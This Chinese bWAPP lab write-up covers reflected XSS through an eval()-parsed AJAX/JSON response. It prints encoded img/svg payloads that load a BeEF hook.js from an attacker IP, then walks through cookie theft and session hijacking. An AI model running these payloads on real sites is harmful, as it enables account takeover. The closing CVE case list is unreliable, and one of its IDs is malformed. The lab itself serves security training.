摘要:这是 bWAPP 系列第四十六篇,聚焦于XSS - Reflected (AJAX/JSON)。这一关和上一篇(JSON 型 XSS)的区别在于:前端通过AJAX 异步请求获取 JSON 数据并显示在页面上。漏洞点在 AJAX 请求的响应中,用户输入被直接拼到 JSON 里返回,前端用eval()或JSON.parse()解析后通过innerHTML显示。文章会演示如何通过 AJAX/JSON 型 XSS 注入 BeEF Hook,并完成 Cookie 窃取。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS(AJAX/JSON) |
| 注入点 | GET 参数title(AJAX 请求) |
| 响应格式 | JSON |
| 前端处理 | 通过eval()或JSON.parse()解析后innerHTML显示 |
| 触发方式 | 用户点击恶意链接,AJAX 请求返回恶意 JSON,XSS 执行 |
| 工具 | BeEF |
二、前言:AJAX/JSON 型 XSS 是什么?
上一篇(JSON 型 XSS)是后端直接输出 JSON,前端在页面加载时解析并显示。这一关的区别是:前端通过 AJAX 异步请求获取 JSON 数据。即:
用户在搜索框中输入电影名
JavaScript 发起 AJAX 请求到
xss_ajax_2-2.php?title=xxx后端返回 JSON 格式的响应
前端解析 JSON 并显示在页面上
关键风险点:
Low 级别:
$title没有过滤,直接拼到 JSON 中返回;前端用eval()解析 JSONMedium/High 级别:使用
xss_check_3()过滤,前端用JSON.parse()解析
eval()的危险性:如果攻击者能控制 JSON 的内容,eval()会执行其中的任意 JavaScript 代码!
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
标题:XSS - Reflected (AJAX/JSON)
一个搜索框:
Search for a movie页面底部的提示:
HINT: our master really loves Marvel movies :)
3.2 正常使用
输入IRON MAN,页面显示:
输入AVATAR,页面显示:
3.3 观察 AJAX 请求
按 F12 打开开发者工具 → Network 标签,输入电影名后,会看到一个 AJAX 请求:
响应内容(JSON):
四、源码分析
4.1 前端:发起 AJAX 请求
function process() { title = encodeURIComponent(document.getElementById("title").value); xmlHttp.open("GET", "xss_ajax_2-2.php?title=" + title, true); xmlHttp.onreadystatechange = handleServerResponse; xmlHttp.send(null); } function handleServerResponse() { if(xmlHttp.readyState == 4 && xmlHttp.status == 200) { // 根据不同安全级别解析 JSON JSONResponse = eval("(" + xmlHttp.responseText + ")"); // Low/Medium // JSONResponse = JSON.parse(xmlHttp.responseText); // High result = JSONResponse.movies[0].response; document.getElementById("result").innerHTML = result; } }关键点:
Low 和 Medium 级别:使用
eval("(" + xmlHttp.responseText + ")")解析 JSON——危险!High 级别:使用
JSON.parse()解析——更安全解析后,
response字段的值通过innerHTML显示
4.2 后端:xss_ajax_2-2.php
if(isset($_GET["title"])) { $title = $_GET["title"]; if($_COOKIE["security_level"] == "2") { // High 级别:用 xss_check_3() 过滤,json_encode() 输出 $movies = array( "movies" => array( array( "response" => xss_check_3($title) . "??? Sorry, we don't have that movie :(" ) ) ); echo json_encode($movies); } else { // Low/Medium 级别:直接拼接 JSON,没有过滤! echo '{"movies":[{"response":"' . $title . '??? Sorry, we don\'t have that movie :("}]}'; } }五、Low 安全级别——手工注入
5.1 测试注入
在搜索框中输入:
<img src=x onerror=alert(1)>注意:输入时不要点击“Search”按钮(如果有的话),而是直接输入后按回车或触发onchange事件——因为这个页面是通过onload和onchange自动触发 AJAX 请求的。
如果页面弹窗,说明 XSS 存在。
5.2 为什么eval()会执行?
后端返回的 JSON:
{"movies":[{"response":"<img src=x onerror=alert(1)>??? Sorry, we don't have that movie :("}]}前端执行:
eval("(" + xmlHttp.responseText + ")")eval()把 JSON 字符串当作 JavaScript 代码执行,虽然 JSON 本身是数据,但其中的<img>标签会在后续innerHTML赋值时触发onerror事件。
六、使用 BeEF 获取 Cookie
6.1 错误 Payload 测试:直接注入 script 标签
在页面输入框粘贴 payload:
<script src="http://10.0.0.129:3000/hook.js"></script>打开 F12 → Network,找到xss_ajax_2‑2.php请求,查看 Response 响应,后端返回破损 JSON:
{"movies":[{"response":"<script src="http://10.0.0.129:3000/hook.js"></script>??? Sorry, we don't have that movie :("}]}该 Payload 无法上线 BeEF,两个致命问题:
破坏 JSON 语法payload 内部
src="http://..."的双引号直接闭合 JSON 的response字符串,整体 JSON 非法。前端eval()/JSON.parse()直接抛出异常,后续innerHTML渲染逻辑完全不会执行。 现象:页面结果区域空白,Console 控制台报 JSON 语法错误。浏览器 innerHTML 限制就算 JSON 修复为合法,
innerHTML插入的普通<script>标签浏览器不会执行,不会发起hook.js网络请求。
简单弹窗踩坑演示: 如果输入带引号 payload:
<img src=x onerror=alert("xss")>alert()内部的双引号同样打碎 JSON,结果直接空白,不会弹窗。 在本关卡写 JS 字符串,不能直接使用单、双引号。
6.2 正确 Payload:img 标签 + String.fromCharCode(DOM‑XSS 利用)
payload 全程不出现单引号、双引号,全部依靠String.fromCharCodeASCII 编码生成字符串,保证后端返回 JSON 完整合法。
<img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>执行流程:
输入框内 payload,键盘事件触发,自动发送 AJAX GET 请求给
xss_ajax_2‑2.php;后端将 payload 嵌入 JSON 的
response字段,返回合法完整 JSON;前端
eval()/JSON.parse()解析 JSON,取出 response 内 img 标签字符串;innerHTML将<img>标签渲染进 DOM;src=x为无效图片地址,图片加载失败触发onerror事件;事件内部 JS 动态创建 script 标签,加载攻击机
hook.js,浏览器在 BeEF 面板上线。
备选 svg onload 版本
<svg onload=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>6.3 BeEF 获取 Cookie
选中上线的浏览器
点击
Commands→Browser→Get Cookie点击
Execute执行
在 Output 区域会显示受害者的 Cookie 信息。
6.4 利用 Cookie
拿到PHPSESSID会话 Cookie,攻击者本地浏览器设置相同 Cookie,访问 bWAPP,无需账号密码即可登录受害者账号,完成会话劫持。
七、Medium 安全级别
7.1 尝试注入
输入<img src=x onerror=alert(1)>。
后端返回的 JSON 中,<和>没有被转义(因为 Medium 级别没有后端过滤)。前端eval()解析后,innerHTML插入<img>标签,onerror事件触发,XSS 执行。
为什么 Medium 级别还是能注入?
因为 Medium 级别没有后端过滤(和 Low 一样直接拼接 JSON),前端也还是用eval()解析。唯一的区别是 Medium 级别在xss_ajax_2-2.php中设置了header("Content-Type: text/json; charset=utf-8"),但这不影响 XSS 执行。
最后输入:
<img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>浏览器在 BeEF 面板上线
结论:Medium 级别在这一关和 Low 级别一样存在 XSS 漏洞。
7.2 为什么 Medium 防不住?
addslashes()虽然被定义(xss_check_4),但在这个后端文件中没有被调用。代码中直接拼接 JSON,没有经过任何过滤。
八、High 安全级别
尝试注入
输入<img src=x onerror=alert(1)>。
后端使用xss_check_3()(即htmlspecialchars())过滤,把<转成<,>转成>。
返回的 JSON:
{"movies":[{"response":"<img src=x onerror=alert(1)>??? Sorry, we don't have that movie :("}]}前端JSON.parse()解析后,innerHTML插入的文本是<img src=x οnerrοr=alert(1)>??? Sorry, we don't have that movie :(,浏览器显示为文本,不会执行。
High 级别防住了 XSS。
九、真实世界:AJAX/JSON XSS 案例
CVE-2024-1181:某 REST API 的 JSON 响应中包含未过滤的用户输入,前端使用eval()解析,导致 XSS 漏洞。
CVE-2025-00847:某 SaaS 平台的 AJAX 搜索功能返回 JSON 数据,输入未转义,攻击者可通过搜索注入恶意脚本。
CVE-2026-9082:Drupal JSON:API 模块存在 XSS 漏洞,攻击者可通过 JSON 响应中的恶意内容执行任意脚本。
十、总结
AJAX/JSON 型反射 XSS 的核心风险在于:后端返回 JSON 数据时用户输入未过滤,前端使用eval()或innerHTML解析并显示。eval()本身就是不安全的——它会把字符串当作代码执行,任何包含恶意脚本的 JSON 都能被利用。这一关的 Low 和 Medium 级别都没有后端过滤,前端都用eval(),都存在 XSS 漏洞;High 级别用htmlspecialchars()过滤输入,前端用JSON.parse()解析,才做到防御。BeEF 工具在这种场景下同样有效——通过注入 Hook 脚本实现浏览器控制,重点演示了获取 Cookie 并实现会话劫持。记住一句话:永远不要用eval()解析 JSON,永远不要用innerHTML插入不可信数据。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。